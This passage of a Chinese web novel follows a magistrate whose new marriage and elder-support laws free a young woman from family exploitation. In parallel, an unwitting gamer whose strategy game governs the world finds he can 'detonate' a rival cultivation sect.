其中刘逾恒倒是找过她一次,大概意思是他不在乎银两,钱没了还能赚,但若是这样一直拖着也不是个事。 李小娘子暂且无法告知他真相——虽说方大人说了要处理此事,但目前她还没听到一点风声,若是日后方大人忙于政务,将这件事的优先等级往后排了排,那也很合理。 既然是还没影的事,她也不能嘴快说出去,省得让人白高兴一场。 等到将刘逾恒劝回去,她自己则是照旧上工,也是巧了,上工时,工友们开始聊天。 “今天的报纸看了没?” “看了,那新出台的婚姻法律?” 李小娘子耳朵里自动捕获了关键词,这会忙屏气静听。 她最近比较心烦,所以今日的报纸还没来得及买,如今听到工友聊今日报纸,左眼皮突然砰砰直跳,心脏也跳得快了几分。 “那报纸上说了,父母不得以任何方式掌控,威胁婚姻,如若违反,可以去官府举报,轻则罚钱,重则直接辞退记过,在个人信誉上扣许多分呢!” 几人忙倒抽一口气,扣信誉积分,这可是很严重的处罚了! 但凡在风仙县内工作,个人信誉积分完全是一个公开透明可查询的衡量指标。 这信誉积分若是降低到正常值以下,日后便很难在风仙县找到工作了,别说工厂的好工作,就连那些零工的活计也不会被录用。 这几乎就相当于在本县寸步难行了! 这几人还在继续讨论。 “这是不是罚得太狠了,万一这父母只是好心,不想让女儿跳火坑怎么办?这若是被不怀好意的人盯上了,岂不是就能随便举报了?” “你这想法很有道理,但上头已经写清楚了应对这情况的法子了。你看,上面写着若因此事有争执,则可自带证据前往官府,让督察组的人明辨是非,这督察组的人都是官府人员,自然是无法暗箱操作的。” 如今风仙县的官府人员,各个因为仙师的咒语变得清廉无比,别说这种没什么油水的工作,就算是别的油水充足的工作,如今也无人敢行贿赂之事。 所以百姓如今对于官府的信任度是一等一的高,表现在十分听从官府的话,且对于官府的宣判裁决也十分认可。 李小娘子还处于震惊中,这会慢慢呼出一口气,又听她们继续说。 “除了这规定外,还有便是对于养老界限的划分。 若是子女觉得父母对自己不好的,在官府裁决后,便可以按照最低养老标准给付,且法律上写得清楚,不允许以任何名义威胁哄骗子女钱财,若是违反,同样也可举报,等同于诈骗犯罪处理。” 这条法律的确严格无比,几人也是暗自感慨,但因为大伙都是女子,当然是兴奋高于担忧的。 毕竟有了法律,她们日后便不会被逼着将自己赚到的辛苦钱交出去,只要家中的人还想在仙师旗下待着,便必须要遵循此法律,不然便算作违反法律。 这小娘子们的心情好了,但相应的,不少男子的心情就不美好了,尤其是原先已经从兄弟姐妹手里剥削到一笔钱的更是又怕又恼。 但无论他们怎么想,这法律一经颁布,自然表明了仙师的态度,表明了方大人的态度,谁若是不服,那便自己去县衙理论去。 但谁又敢去? 本身他们私底下剥削就是见不得人,被人戳脊梁骨的行为,往日是没有法律约束,相熟的人家也不好开口,但现在有了法律约束,这可是违法行为,这自然就让他们多了忌惮。 左思右想,安稳呆在风仙县和为了那点小利冒着被驱逐的风险,是个正常人都知道要选择哪个。 除了这些男子震惊之外,最为震惊的便是上了岁数的人。 若是那等往日就公私分明,对孩子好的倒是毫无反应,毕竟这万事讲究一个将心比心,而那些对孩子不好的,只想着算计的则是脸色扭曲——这法律一出来,可谓是他们以往的打算都落了空! 但谁敢多说?往日方大人的雷霆手段谁没见识过? 总不能因为最近方大人看着温和了许多便想折腾闹事吧? 要知道方大人那可是仙师亲自认定的县令,那是负责统领全县,负责辅佐仙师,这方大人的意思又何尝不是仙师的意思? 李小娘子晕晕乎乎的下了班,今日连摆摊取名都不曾去了。 她回家干的第一件事便是抢到了最后几份报纸,将这法律来来回回看了好几遍。 心脏跳得和疯了一般。 ——她从没想过,县令大人竟然是用这种方式直接帮了她。 不,这已经不算是单独帮她,这分明是帮了许多和她处于同一困境的人。 李小娘子对于方大人以往的那份敬佩,那份崇拜,此刻全部化作感激,却难以言表。 在她看来,以往的方大人负责全县规划,那些规划太大,距离她太远,最后虽说好处也切实落在她身上,但总归是总觉得隔了层纱看方大人。 若非要比喻,那便是觉得方大人完美,却不真切。 但如今,亲自经历过这新的律法颁布竟然是因为她的一则诉苦,李小娘子的内心不可控制的生出一股激动,这股情绪让她几乎要喘不过气来。 除了一种摆脱了家中麻烦的轻松外,剩余的全部化作对县令大人的感激和震撼。 ——方大人这么做,想来也是禀告仙师后才共同做出的决定吧? 这瞬间,李小娘子突然由衷的理解到了那戏曲里所说的,为何那些离开家乡的人会眷恋故土。 她原先不被家中喜爱,活得像是无根之人,落在哪儿哪儿就是她的根,但如今,她却觉得,自己也懂了这份感情。 风仙县就是她的故土,是她的一切。 她原以为那些苦痛会被掩埋,会被忽视,但这片土地却轻柔的告诉她,一切都会被看到,一切都会被珍视。 她的苦痛和渴求,得到了回应。 第262章 忽悠 和李小娘子有同等想法的人不在少数。 当然了,大都是小娘子们才会有这想法。 且一半都是上了学的,年纪和李小娘子相仿的小娘子。 均是因为原先有过类似的经历,如今读了学堂,这感触也就来得相似。 原先的时候,仙师不曾庇护全县,方大人不曾上任时,作为女子,她们其实拥有的很少。 那个时候,她们没读过书,不识字,不懂得道理,仅仅觉得能吃口饭就行了。 毕竟世道艰难。 而如今,她们不仅仅能吃饱饭,还能有工作,且这工资不比男子少,随着时间,她们还慢慢有了更多。 譬如和离的选择和底气,本县对于和离有托底保障,且在经过读书认字后,原先僵化的思想,很快便被鲜活的新思想填充进来。 若是一个人如此,定不会这般轻松,但仙师,方大人整改的是数个县。 若是身边环境全部更改,那往后对于思想上的更正也就来得更快且更顺手。 不仅仅在思想,工作方面如此,在土地划分上,那法律也有了明确规定。 女子也可分土地。 原先时,那土地只有家中男丁才有资格划分,但在方大人上任后,原先的律法很快被废除,改行新律。 如今女子也能拥有土地了。 再加上新出炉的养老律法和婚姻法的补充,这部分小娘子也纷纷有了和李小娘子相似的感悟。 ——有土地的地方才是根。 更何况,这块土地是真实的,对她们这样过往经常被忽略的女子,做出回应。 不像是以往,她们苦苦挣扎渴求,对方却纹丝不动,只是看着她们在痛楚中沉浮,然后化作这片土地的养料。 如今的风仙县,对于她们来说,更像是真正存在的故土。 这块故土不再仅仅是属于男人的,属于得利者的故土,而是公平的,彻彻底底属于每个人的故土。 话说回来,自从这新的婚姻法宣布以后,李小娘子的家人很快便不敢多做阻拦,原先要让她给的钱财,如今也是不敢提议了。 为了预防万一,李小娘子还特意去官府做了评鉴,最后官府给判定的结果是因李小娘子父母失责,所以日后养老,李小娘子只需要给出最基础的养老费用即可。 李家人还想继续反驳,但眼看事实证据摆在眼前,如今也是辩驳失败,无奈接受。 而李小娘子则是欢欢喜喜的和刘逾恒成了亲,两人薪资加在一起,足够住一整套房子,再将日子过得和谐美满。 不说餐餐有肉,但总归一周能吃一两次,且豆腐是顿顿饭都有的,平日里想买什么,大部分时候都能买得起。 李小娘子对于这样的生活已经足够满意,毕竟她先前在家里的十来年,过得实在是不痛快。 吃不饱穿不暖,还要做活,做不好了便是挨骂挨罚,和现在的好日子一对比,李小娘子都觉得自己以前的日子过得是挺没意思的。 而刘逾恒原先也是普通人家,在本地活不下去后,这才成了流民,来到了风仙县。 在来到风仙县之前,他死都不会想到自己这辈子还能过上这样的生活 ——一份稳稳当当,且还有望能晋升的轻松体面工作,一个喜欢的人,一个遮风避雨的家,还能够吃饱穿暖。 这若是以前有人告诉他会过上这样的生活,不说别人,刘逾恒自己都觉得这人是个骗子,但眼下这生活是实打实的出现了,他也确确实实享受到了,日常除了跪拜感恩仙师,没有别的途径能表达他内心的感激。 此刻,他跪拜在仙师小像前,心里默默念着 望日后,日日如今。 这便是他作为一个普通人最大的愿望。 自从风仙县在颁布婚姻法和养老法的补充条款后,最近前来县衙的人多得很。 一半人是来认定养老划分的,还有一半人是来解决身上恼人的婚姻问题的。 一时半会,这县衙的人自然是不少,但好在是官员办事效率很高,挨个给出公正裁决后,服气的人便乖乖接受裁决,若是不服,则可以花费一两银子上诉,继续申诉。 至于为何要花费一两银子,主要也是因为得设置一个门槛,省的那些不是真正觉得冤枉的人都因为不服气而故意申诉,这不是浪费人力资源? 且这申诉也是谁输了谁负责出这钱,除非申诉对象对自己很是有信心,实打实觉得自己是冤枉的。 若有那种无赖,没钱还敢申诉,最后败诉的,便会被官府强行带走,进行对应的劳动,直到扣除完毕三倍罚款——也就是三两的银钱后,才会被释放出去。 这手段很有效,至少申诉的人数量是极少的,毕竟在初始阶段,每个官员其实判定的时候便判得很是合理,大部分人也心虚,官府一判,他们也就算了,少部分真觉得冤枉的,则才会继续申诉,无赖也不敢因为没钱而肆意妄为。 毕竟本县律法是真不惯着这些无赖。 一般情况下,风仙县的律法最先下来,而后才会在附近的县域流传过来,随后也会配备上对应的律法。 除了联合村落外,别的地方倒是多多少少要慢风仙县一步。 说回这联合村落,目前,张里正联合村内的几位里正,倒是共同弄了一个管理委员会。 这管理委员会的职责便是更好地协作管理联合村落。 原先初步建设联合村落时,张里正率先提出这联合提议,在得到方大人的首肯后,这联合村落才建了起来。 这联合村落内,自然也是以斗坡村为经济中心,毕竟单论厂子的话,斗坡村占据了半壁江山。 且那潜灵山也正是位于斗坡村内。 自然而然,这斗坡村便成了经济中心。 随着日后联合村落的融合,很快,这些村落便融合成了一个丝毫不逊色于风仙县城的小型县域。 在这里,几乎风仙县有的,联合村落也有。 原先联合村落弄到了一批无人的野地,开荒后将其连带着户口,一并奖赏给了做出重大成就的外来人口。 至于联合村落外围的土地,则是继续扩建,好容纳更多的未来人口。 两步政策下去,很快,联合村落的发展,如今只是比风仙县本县要弱一些,但几乎没什么差距,连带着联合村落内部的房价都上涨了。 不说别的,就先前赵金构在斗坡村投资的那两栋客栈的价值,如今早就翻了十倍! 两旁的别的商家,乃至于住户,自然也是得到了切实的好处。 就算再差劲,这些外来的商户需要来斗坡村拿货,谁来了不得歇一脚,吃点东西?长此以往,此地便成了重要的枢纽。 经济一旦跟上,教育,医疗,自然纷纷配备上了。 联合村落便是如此,原先学堂不过只有中级而已,如今已经增添了高级学堂,药馆也增加了数个,可谓是方方面面几乎完全同步于风仙县。 自然而然,这些原住民便成为了众人最为羡慕的好命的存在。 ——人和人没法比啊,人家睡醒了就醒在经济中心,这还说什么? 日后无论是卖房还是租房,这些原住民绝对是占了大便宜的。 明州。 自从那陈京行旗下的使者甘林回去后,将当日风仙县县令的意思告知陈总司后,他倒是闲了下来。 而陈京行则是等着那风仙县好好完成投诚一事。 毕竟目前对于他来说,还没到达需要和风仙县有更深层次的合作时。 若连投诚都不愿意做,他岂能相信对方会和他合作一起反攻朝廷? 只是看风仙县好似并没有什么特别的规划,连着数日都不曾开始动作,陈京行不免有所怀疑。 正打算派人看看情况时,倒是欣慰的发现对方居然有所行动了。 眼看那风仙县的人正前往他所提及的地点,陈京行心里宽松了几分。 ——应当是风仙县打算行动了。 既然对方还算放在心上,陈京行观察了几日后,便命人盯着,他自己倒是放松了心情。 当初他让对方做的投诚一事,若是真操作起来,也需要一些日子,所以对于风仙县暂且没有消息传递回来时,陈京行觉得对方只是在琢磨该如何完成。 实际上,这些人确实是风仙县派来的,但可不是乖乖做什么投诚站队任务,而是纯粹的哄骗陈京行。 按照方大人的意思,他们只需要哄到秋收即可,所以自然要努力别让对方察觉到不对劲。 如今距离秋收还有两三个月,其实并不算好忽悠。 但方知意大概知晓陈京行这种人的脑回路,此人颇为谨慎,若是按照他来看,风仙县就算是不肯站队,也不敢去坑骗他的钱,何故非要惹上这么一个难缠的对手。 但方知意和他不同,她有仙师,可以和陈京行对抗,人有后手的话,自然是不怕再搞点事的。 所以在此事上,陈京行便是注定要跌个跟头。 忽悠完了陈京行,这对黎州元城保皇派那边也得忽悠着。 方知意寄过去一封信,大概描述一番行宫建设的计划,每个项目需要多少人,如今有多少人到岗,其内需要选择什么材料,需要花费多少,此地规划建设等等。 说得煞有其事,实际上这东西压根只存在于草稿内,存在于她本身的构想内。 而这五人则是看着回信啧啧称赞。 “这风仙县的方县令竟然这么心思细腻?” “这报价和规划写得清楚,依我看比宫内的规划还要有条理。” “这价格还挺合理,这人没弄虚作假。” 五人哪里知晓,报价单的确真实,毕竟压根方知意就没打算真的弄,所谓的报价和设计,也就是稳住他们而已。 第263章 引爆 在方知意的刻意引导下,黎州元城的保皇派自然很是欣慰。 ——这方县令不错,毕竟像这般肯老老实实干活的人还是太少了,若是原先的话,哪个地方县域的县令不得在其中自己贪墨一些? 好在当初当机立断让使者带着礼物前去拉拢,若是这样的人投奔了那陈京行,对于他们来说自然少了一枚可用的棋子。 暗自庆幸后,五人倒是生出了别的心思。 话说,先前他们可是各个送了三万两,那白家更是心焦,他可是送了足足五万两,如今也不知那山神到底是何想法? 翻开方县令送过来的单子,上面写着的庙宇即将筹备,正处于地基规划和测量中。 其实就算这五人再怎么想,也不会想到方知意压根没打算建所谓的庙宇和行宫,在保皇派五人的眼里,风仙县不过是一个新起之秀,虽说可能统领者还算有几把刷子,但总归要靠着依附他们过活,既然从未正眼忌惮过对方,自然也不会考虑到对方有坑骗自己的可能了。 在玩游戏的姜定接收到了一则消息提醒。 【恭喜您获得成就:水泥路铺设建设程度100%】 【恭喜获得增益buff:"移动加速""道路硬化"】 姜定:??? 这都哪跟哪? 之前他记得游戏上一次弹出提醒时,显示道路铺设程度为80%,但他没感觉到自己有在努力玩游戏? 话说对于铺路的印象也很模糊啊 姜定沉默,姜定慢慢思索,姜定点开游戏仔细查看搜索成就来源。 等看清紫卡人物已经代替他做了决策,将原先的道路全部更替完毕为更为坚固的水泥地后,姜定陷入了一种巨大的迷惑中。 好家伙,这紫卡人物竟然这么智能? 所以说,这游戏简直更像是框架规划好后,里面的人物会自发按照系统设定的规则进行推进建设。 那这么岂不是说明,这游戏多少沾了点放置游戏的设计? 姜定很快便为游戏超出意想的设计找了个合适的理由,这会倒是慢悠悠将鼠标点在新的buff上。 "移动加速"很简单,若是行人或者是马车行驶在他旗下区域内的水泥道路上,均会在毫不知情的情况下获得20%的加速。 至于"道路硬化"便是水泥地的初始硬度和耐磨度增加30%的坚固度。 两项很是普通且合理的增益。 姜定甚至有些失望。 按照玩家的尿性,这个时候应当会有能增速100%到1000%的道路设计才对,这样虽说已经不叫道路,更像是传送带了,但都玩游戏了,这点恶搞也很合理。 试探着将脑内想法付诸实践时,很快他便得到了游戏的拒绝。 有点泄气,但不多,姜定心想看来这游戏是不支持恶搞来着。 再次查看游戏内的时间,正是六月份。 姜定查看仓库后发现,仓库早就满满当当,好在他旗下的工人和百姓数量多,人一多消耗就大,这才没让库房溢出。 挨个整理后,姜定又给自己旗下的其他县域进行一番规划,同时增加了几个他觉得还需要增设的厂子。 毕竟上面显示有剩余的可使用工人,要是没让这些人运作起来的话,反而还会天天待着吃闲饭。 而此时此刻,方知意自然也在脑内得到了仙师的最新部署。 当仙师所提及几个县域要增设新的工厂,好让更多人都能进厂子上工时,方知意倒是对自己日后的规划和进展更有信心了。 ——就算仙师不曾开口,她原先也是这般计划的,既然仙师提早开口,那她自然要先将这作为最优先处理项目。 但总归来看,她对日后所想和仙师的规划一致。 再换个角度考虑,她大可放心去做,若是她哪点做得仙师有异议,自会找她让她停下来。 管理诸多人口,压根没心思去挨个分辨的姜定:??? 除了建设厂子,姜定点开游戏任务一栏,发现原本总是空白的任务栏不知何时多出了一则新的目标。 静悄悄的,要不是他观察得仔细,这会铁定看不到。 姜定忙点进去查看。 【作为独占一方的小管理者,你的目标必须要宏大。为了建设更多的工厂,有更多的物资,赚取更多的钱财,你需要慢慢吞并你对手的土地和人口资源。】 姜定迟疑着点进去查看对方,发现上次他看到的那几人均是他的对手,只是排序上有先后。 游戏目前最推荐的可攻击人选是和姜定的土地紧挨着的明州陈京行。 在对比了双方实力后,姜定很快发现他有能力攻打对方。 游戏给出的比对是对于兵力的比对,他旗下队伍的标识显示他完全可以碾压对面。 只是令人疑惑的是,姜定查看了自己的旗下的人数和对方的人数,惊讶发觉对方人数可比他多了好几倍。 既然没按照人数计算兵力,那便是武器的差距? 姜定立即点进去自家武器,发现先前他下令制作的火铳和震天雷这等热武器居然生产的数量多了许多。 将这热武器配备好后,原先远不如敌人的兵力瞬间暴涨,姜定难免震撼。 ——虽说热武器确实要比冷兵器牛,但这数值差距这么大的,还是让他吓一跳。 想到这热武器的研究工人,姜定心想幸好这游戏从一开始,他对于挖掘隐藏剧情,隐藏npc很有经验,不然这热武器可制作不出来! 话说一想起这点,姜定很快便察觉到这游戏的难度。 这游戏他目前是玩得挺痛快的,但可能是他运气好? 不然按照这游戏毫无容错率的尿性,他若是当初没将这隐藏npc收为己用,现在早就在和敌人的对打中被打死了。 况且,他看了一遍,这游戏任务居然还是有时限的,就拿这攻打明州来说,最迟不超过冬季前。 按照游戏给出的计算结果,如果冬季前没能将明州占据,他日益增长的人口和土地面积压根不够用。 姜定抹了把脸,心想等游戏通关后他铁定得写点攻略,再好好批判一番游戏设计的容错度。 ——太低了! 要不是他经常泡在游戏里,这会估计这个档肯定干废了,得重新开始。 先前他战战兢兢跑图,倒是将地图的传送点全部开启,如今想往哪传送就往哪传送,比之前慢悠悠的飞痛快多了。 这地图点亮后,游戏立马将不同势力对他的好感度状态纷纷标注。 眼看全图都是敌人,最好的情况下也是个中立,姜定琢磨着等明州打完了发育发育,再将其余两个地方收入旗下,毕竟玩家要干就要干一票大的,一统天下!这龟缩在自家地盘算个什么事,玩家过程可以怂一点,但最后结果肯定还是要够装够炫酷! 再对比对比和另外敌对势力的兵力差距,在对待黎州时,他发现双方兵力旗鼓相当,但粮草跟不上,还需要多攒点。 姜定捉摸着等收了明州后种一波粮食。 而当他用鼠标挪到幽州上时,这中立状态倒是有两个选择。 【攻打】,【收服】。 第一个选项是敌对势力都有的,纯粹的对比兵力粮草,而第二个选项,想来是只有中立势力才会有的。 姜定将鼠标挪到【收服】选项上,打算对比一番这两者的区别。 【收服】:当你的威信足够高时,对方在评估你的兵力粮草后会做出臣服姿态。 (注:此选项会减免人口损伤,避免消耗粮草兵力。) 姜定立马了解了。 这【收服】起码得是中立状态,没有必须要打的理由,然后看数值评测,若是数值检测通过,那就可以无伤有一大块战利品土地了。 因不知道这数值要求是多少,姜定决定苟一些,计划最后再对这幽州动手,到后期无论是收服还是攻打,他数值铁定够了。 在查看完这三州后,姜定开始仔细查看唯一剩下的一个最独特的势力【景旭宫】。 这玩意在这里面有几分宗教色彩,所以用的是特殊的颜色标注的。 但对于姜定看来也没用,毕竟对方鲜红的字体表示着完全敌对势力。 但让他惊讶的是,除了有和先前如出一辙的选项【攻打】,另一个选项【引爆】更让他摸不着头脑。 ——不是,啥玩意叫引爆? 姜定迷惑琢磨,在搜索了过往记录后抽丝剥茧,总算找到了这件事的起始源头。 何胜。 当时他记得他是在地图乱走,看到一个标志特殊的,发着黑光的npc。 一时好奇,点了进去,倒是误开了一段隐藏剧情。 按照游戏的引导,他让李归一拿着那《青梧引(残)》放在游戏规定位置,又按照游戏的要求上交了一些材料后,后续这任务就草草结束了。 当初姜定还好奇这隐藏任务实在是过于没头脑,结局也是敷衍无比,竟然连给他个多余的cg都没有,结果好家伙,现在合着是在这里等着他呢? 再仔细顺着那过往记录看下去,姜定神色变幻莫测。 这特殊npc何胜在拿到那《青梧引(残)》后,因害怕被景旭宫报复,倒是不得不高价将此物抛售,搅乱这修炼市场,一时间竟然景旭宫内大半的人都学得了这《青梧引(残)》,且姜定注意到,先前他上交给游戏的特殊物品,譬如那所谓的千年乌木,这材料被何胜做了傀儡,大行售卖一事,也倒是因为他误开启了这段隐藏剧情,这会竟然将景旭宫几乎所有人都修炼了这残本。 姜定点开残本,发现这引爆一词的来源便出自于这残本。 原是因为这残本修炼起来没有关闭通道的选择,人体如同空壳,只会被动承受天地之气的灌入,等到终究承受不住那日,就会像是气球一样被引爆。 而如今,这引爆的程度接近阈值了。 第264章 失衡 误打误撞得了个【引爆】后,姜定的心情不可谓不好。 毕竟这个按钮一按下去,他立马就能消灭一个死对头。 不过这【引爆】暂时还不能点,还得等一些日子才行。 这么看来一个可以直接按按钮团灭敌人,另一个可以投诚,算来算去,他只有两个必须要打的敌人。 明州的陈京行和那黎州。 而游戏任务又将这攻打陈京行的时间限制在冬季之前,他只需要按照游戏的主线来完成任务即可。 景旭宫。 自从那《青梧引》修炼后,宫内大大小小的弟子均是沉迷于修炼,甚至连往日喜欢做的别的事都不乐意去做了。 譬如原先他们景旭宫内修炼的术法各不相同,为了提升自己的修为,这些人会各自去寻找自己功法所需要的修炼之物,有的修炼甚是残忍,需要献祭普通百姓,亦或是需要别的歪门邪道的办法。 因天高地远,再加上景旭宫的地位超脱,且他们选择动手的均是偏僻地区的小村落,即便这些小村落的人身死,也无人知晓。 景旭宫内部并不阻止弟子们修炼,总之对于景旭宫来说,无论是黑猫白猫,只要能抓到耗子的就是好猫。 所以无论过程如何血腥,惹人不适,只要结果能提升实力,那就是好的。 既然宫内如此纵容此行径,很快宫内人人都开始只想迅速提升实力,哪怕所修的术法为邪法。 这一情况直到《青梧引》出现。 因得了那《青梧引》后,众人纷纷看到了这功法背后更大的可能性。 既然此功法带给他们更多的好处,自然要选择这功法修炼才是。 且最重要的是,这功法修炼起来简单,不需要所谓的献祭或者是有别的高难度要求。 不仅仅是他们这些弟子们换了功法,就连景旭宫内原先修高级功法的长老们,如今也全部修炼《青梧引》。 说到这全宫修炼《青梧引》,景旭宫的高层们不可谓不憋气。 当初他们费尽心思从那永道宫弟子口中拿到了这神级功法,本以为这功法藏得够深,用高额利润将修炼功法的名额售卖出去后,还自觉得意。 一来解决了日后和永道宫火拼时人手不够的困境,二来得了人心,三来宫内确确实实得到了好处,可谓是一箭三雕。 结果还没得意多久,不知为何,这《青梧引》的功法很快便被宫内不少弟子知晓。 一开始,景旭宫高层以为是一场阴谋,毕竟哪有这么巧的事,他们一开始修炼,这过了不久,全宫都开始从意外途径得到了这功法,莫非这功法本就暗藏缺憾,为的就是让他们修炼,好让他们景旭宫被对方一举击溃? 这想法刚生出来时,景旭宫高层们谨慎不已,各个停止了修炼,势要将透漏功法的人揪出来。 除了寻找此人,他们还需要安抚其余未曾纳入第一批学习《青梧引》的弟子们,可谓是忙得要死。 等好不容易将这些弟子安慰好,另一方面,要寻找的出售功法的人也逐渐有了眉目。 根据弟子们描述的形象,他们很快便被引入到了何胜特意精心为他们建设的傀儡陷阱内。 景旭宫高层完全被引着去了一条错误的道路。 但因何胜此人运气好,且当初做出这决定时,正是动用了术法,这才能瞒过景旭宫内的几位大能。 而眼看宫内逐渐平息,何胜自然是偷偷逃走了,毕竟他的术法告诉得很清楚,他若是不跑,等那几位回来,估计会死得很惨。 在何胜跑了有几日后,景旭宫高层面色难看的回来。 先前他们为了追踪顺利,还特意用了秘法确定那贼子位置,本以为会将此人一举拿下,结果等到动手,已经将人抓住时,那人却化作一捧灰烬。 ——靠,被骗了,这是傀儡术! 几人互相瞪大眼睛,而后只能愤愤回到宫内。 何胜在跑出去后感知到了傀儡的消散,这会心下一惊,知晓他的傀儡已经暴露,此刻逃命逃得更快了。 好在这地广人稀的,想来对方定位他也不容易。 而又过了一星期,根据原先那傀儡和宫内众弟子的交易轨迹,景旭宫高层倒是得出了一个结论。 “此人定是我们宫内的人,不然无法对这些人如此了解。此人要么是一个隐藏很深的奸细,要么便是一个胆大包天,且贪财的人。” 众人再看过去,发现此长老手里正汇聚着先前何胜和宫内弟子交易的顺序,一条条人际交往轨道像是蛛丝一样,将此人一整个完整的社交网络映射出来。 “按照这推断莫非是” 近些日子,这几人因为想揪出此人,倒是对宫内的弟子有了一层新的认识。原先见了面连脸都认不清的几人,如今也是变得各个能对上脸,且还能对上名字。 几人互相对视一眼,均从对方眼内看到了答案。 ——何胜! 立即前去捉拿此人,发现此人早就跑了。 一时半会,几人脸色都不好看。 何胜此人在宫内的存在感算不上太强,但也不算是无名之辈。 一想到最近自己近两个多月的兵荒马乱全是拜对方所赐,几人一时间都想将此人捉出来扒皮抽骨。 可惜这人还挺敏锐,竟然是找到机会溜走了。 景旭宫宫主冷脸掐诀,试图打探出这何胜的下落,但居然查探不出。 一时半会陷入沉默。 怎会如此?难道说此人身上还有别的秘密不成? 另外的几人看到这场景,一时半会冷静下来后,慢慢开口。 “宫主,依我看,我们最需要做的并非是将此人抓到,而是先要确定这人是奸细还是自己自发行为。 若是只是为了一己之利售卖《青梧引》,虽说属实可恶,但我等也可安心修炼这功法,但若是他是被人委托做出此事,那便说明这功法定是有某种我们所不曾知晓的隐患。” 这话说得很对。 此人继续道:“何胜此人我刚才查了他的背景。此人进入我们景旭宫已有七年,过往背景尚且不曾和永道宫的人有所交集。从这背景行径来看,没有伙同永道宫的可能性。 且此人性格唯利是图,更符合第二种猜测。 只是具体到底如何,还需要宫主进行查看。” 景旭宫宫主冷哼一声,而后将注意力集中在何胜是如何拿到这《青梧引》的。 话说这回转术法,只有宫主一人才可修行。 因每次动用此术法所需要耗费的精力颇多,所以一般情况下,景旭宫宫主并不乐意用。 但实在是眼下这事很是急切,关乎他们是否能放心使用这神功,自然要对过往查看一二。 屋内青烟袅袅,而几人的眼神都聚集在宫主身上。 这事不仅仅是宫主,他们也急啊! 那些不曾知晓功法隐患的弟子们倒是练得痛快。 最难受的就是他们几人了,这不上不下的,不敢练,只能偷偷看着别人练。 一时半会,总觉得自己这身份快被这些弟子们超了过去。 但几人都是老狐狸,宁愿日后多费点劲,也不愿意在不明了时随便修炼功法。 等到景旭宫宫主查看到那何胜居然是在一废弃洞穴的夹层内找到的《青梧引》,一时间他倒是陷入迷惑中。 ——所以说,这神功也确实在他们黎州境内存在?只是他们运道不好,没能找到这功法。 不然如何解释何胜能拿到这功法? 要说这景旭宫宫主的这术法实在是忽略了最为重要的一环。 那功法可不是天然长在那里的,那是李归一奉命放过去的。 但可惜他的回转功法判定范围内并不曾呈现出先前的因,只能让他看到何胜拿出功法后,先惊后忧的模样。 在景旭宫宫主的眼里,这何胜在用了六爻断卦后,便开始决定售卖功法,想来此人往日头脑不错,想来他是猜测到了这功法他们手里也有一份了。 这倒是也能说清楚为何这何胜非要将水搅浑了,原是因为他害怕,害怕自己修炼功法被他们抓到,索性让事情变得混乱,这才好让自己脱身。 景旭宫宫主很快从这回转术法内回神,倒是冷笑不已。 原来是狗屎运! 这何胜他自然会派人继续追击,但相应的,这也是说明《青梧引》并非有人存心将此功法推广开来,好歹他们可以继续修炼了。 等到听到这事情的原委后,几人均是面色难看,而后又一脸感慨。 真不知道该说这何胜到底是运气好还是运气差了。 若说运气好,能发现神功,但他发现时,他们早就学会,且还因为这神功,此人不得不搅浑水脱身。 看来这运气并非是所谓的好坏之分,而是好坏互相糅合。 就像阳光下的阴影总是如影而随。 感慨完这事,虽说修炼照常,但景旭宫高层自然心里很是不爽。 原先他们还修炼的是高级功法,如今倒是沦落成了和宫内弟子们修炼同一功法了。 更烦人的是,他们还需要忽悠宫内弟子,尤其是原先那缴了高额费用的弟子们,他们先行修炼的是全本,至于后续那些人买到的便宜功法,那都是残本。 无论怎么想,几人均是对何胜恨得直咬牙。 此人倒是收到了众多好处后跑了,将这烂摊子留给他们解决。 除了带来的信任危机和金钱损失外,最重要的是,景旭宫高层的那股优越感被狠狠打击到了。 如今既然宫内众人都修炼一个功法,那便是纯粹靠拼天赋,拼努力的时候了。 毕竟修炼《青梧引》可不需要什么别的外物,也没有需要花钱才能修好的说法。 这便让他们以往自觉积攒下来的优势丧失,一时半会,倒是害怕落后于弟子们,几人日日投身于修炼,不敢有丝毫懈怠。 第265章 涌入 自从修炼开始,整个宫内一时半会,竟然颇有几分出世姿态,不像原先那般还经常会出去霍霍无辜人群,个个想加把劲将修为冲上去。 原因自然是这《青梧引》修炼的感觉实在是过于好。 自己先前的邪修功法和这神功比起来,二者一较高下,立马就会觉得这《青梧引》修起来要更为舒畅,且实力也是有了长足提升。 若非要形容的话,原先是拉着一辆牛车徒步修行,进展颇慢,而如今便是坐着骏马修行,这其中差距,只要是个修行的人,立马就知道哪个更舒服,更收益大。 而景旭宫内,倒是有几个天才弟子这几日修行上稍微出了点问题。 原先运行功法都很是顺利,如今竟然是有些阻碍了。 连续好几日都不曾感受到先前的那股痛快之感,只能慢慢调度自身,运转浑身灵气,试图破境。 因原先修炼除了第一次较为艰难外,之后的修炼大多数时候都很顺利,炼久了那等警惕心较为强悍的则会疑惑不解。 ——按道理,不管是什么功法,不可能有一直修炼顺利的情况出现,若是一直修炼顺利,是不是自己早就在修炼的时候走歪了? 因这功法的真伪无人质疑,这等心思警惕之人倒是率先回顾自己是否走歪了修炼路径,但发现身体不曾发现有任何变化,只能无奈作罢。 而等继续开始修炼,直到进展迅速,这些人均是半喜半忧。 喜的是修为比预想中上涨得要快,且一路顺畅,坏的是还未曾修炼过这样的功法,若是一路畅通,那修行这条路岂不是不分资质,人人都可进展神速? 好在这怀疑没持续太久,他们就在之后发现体内的阻碍感慢慢显露。 不复先前那种轻松的修炼感觉。 想来是到了瓶颈。 遥想到自己当初还在怀疑功法,怀疑是不是走错路,这会感受到熟悉的阻滞感,他们可算安稳下来。 人总是喜欢犯贱。 待这瓶颈持续半个月也不曾有一丝突破后,他们倒是开始怀念原先的那种修炼畅通无阻的感觉了。 可惜怀念归怀念,目前只能说好好修炼,看何种法子才能突破才是。 很快,这修炼阻滞一事也逐渐出现在不少景旭宫其余弟子头上。 因原先修炼时不时便有阻滞之感,如今改修这《青梧引》后倒是许久不曾有不顺畅之感,一时间突然陷入修为阻滞的境界,倒是让不少人微微叹气,而后试着继续修炼,最好早日突破才是。 而也有不少天才则是还不曾体会到这修炼阻滞的感觉,依旧如饥似渴的修炼着,似乎要将先前自己修错功法的过往全部补充回来。 至于景旭宫的几位大能也自然还不曾体会到修炼阻滞之感,但对于最近陆续传来的此等消息,他们也没太在意。 ——谁修炼还能说总是一帆风顺的?这修炼嘛,自然是看资质,看悟性的。 像是资质不好的,早早就能感受到那阻滞,而像是他们这般的,那阻滞来临的时间就会迟上许多。 